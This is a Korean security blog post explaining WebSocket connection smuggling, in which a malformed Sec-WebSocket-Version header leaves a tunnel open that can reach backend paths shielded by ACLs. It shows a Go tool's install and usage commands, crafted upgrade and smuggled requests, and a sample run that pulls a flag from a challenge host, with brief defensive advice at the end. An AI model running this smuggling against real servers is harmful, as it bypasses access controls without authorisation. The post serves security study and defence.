WebSocket Connection Smuggling

Smuggling on WebSocket

Introduction

WebSocket의 Connection 절차

웹 소켓은 아래와 같은 순서로 Connection을 연결합니다. 이러한 핸드쉐이킹 과정 이후에 기존 HTTP 통신에서 WebSocket 통신으로 Switching 됩니다.

WebSocket Connection Smuggling

웹소켓의 시작인 HTTP Upgrade Request가 전송될 때 Sec-WebSocket-Version 헤더 등에 잘못된 값이 포함된 경우 에러 응답인 426이 발생합니다. 재미있는 점은 이 때 클라이언트와 웹 소켓 서버는 TLS Connection이 맺어지고 이는 웹 소켓 통신을 사용하지 않습니다.

즉 HTTP 요청을 처리할 수 있는 터널이 생긴거고, 사용자가 Connection close를 하지 않고 바로 HTTP 요청을 전달하면, Back-End에 있는 소켓 서버가 이를 처리하여 사용자에게 전달해줍니다. (G/W 방식이던, Front-End가 별개로 있던 동일합니다)

결국 공격자는 이 터널을 이용해서 백엔드 서버와 통신할 수 있게 됩니다. 이 자체만으로 문제가 되진 않지만, HTTP 기반의 ACL이 있는 경우 일반적인 웹 요청에서 접근하지 못하는 경로에 이 TLS 터널을 이용하여 접근할 수 있게 됩니다.

Offensive techniques

Sec-WebSocket-Version 헤더를 통해 TLS 터널을 열고 내부 리소스를 탐색하는게 전부입니다. 다만 이를 쉽게 하기 위해 간단한 도구를 하나 만들었습니다.

websocket-connection-smuggler

Install websocket-connection-smuggler

$ go get github.com/hahwul/websocket-connection-smuggler

Testing with websocket-conneciton-smuggler

$ ~/go/bin/websocket-connetion-smuggler

Set target

$ WCS(...) > set target {your target}

Set SSL

# HTTPS
$ WCS(...) > set ssl true

# HTTP
$ WCS(...) > set ssl false

Set Original Request

$ WCS(...) > set o_data
GET /socket.io/?transport-websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 4444
Upgrade: websocket

Set smuggled request

$ WCS(...) > set s_data
GET /flag HTTP/1.1
Host: localhost:5000

Running sample

WCS(target=>None | ssl=>false ) > set target challenge.0ang3el.tk:80
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set o_data
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > set s_data
WCS(target=>challenge.0ang3el.tk:80 | ssl=>false ) > send
GET /socket.io/?transport-websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 4444
Upgrade: websocket

2019/11/30 03:39:15 HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 49
Date: Fri, 29 Nov 2019 18:39:15 GMT

{"flag": "In 50VI37 rUS5I4 vODK@ DRiNKs YOu!!!"}
gth: 119
Date: Fri, 29 Nov 2019 18:39:14 GMT

        �0{"pingInterval":25000,"pingTimeout":60000,"upgrades":["websocket"],"sid":"5148720e07f240a99e6aa7457f41686f"}�40

Defensive techniques

비 정상적인 Sec-WebSocket-Version 헤더가 요청되었을 때 웹 소켓 서버에서 무시하면 됩니다. 보통 어플리케이션/라이브러리단에서 패치가 나왔을 가능성이 높고, 나왔다면 패치를 적용해주시면 됩니다.

Tools

Articles

References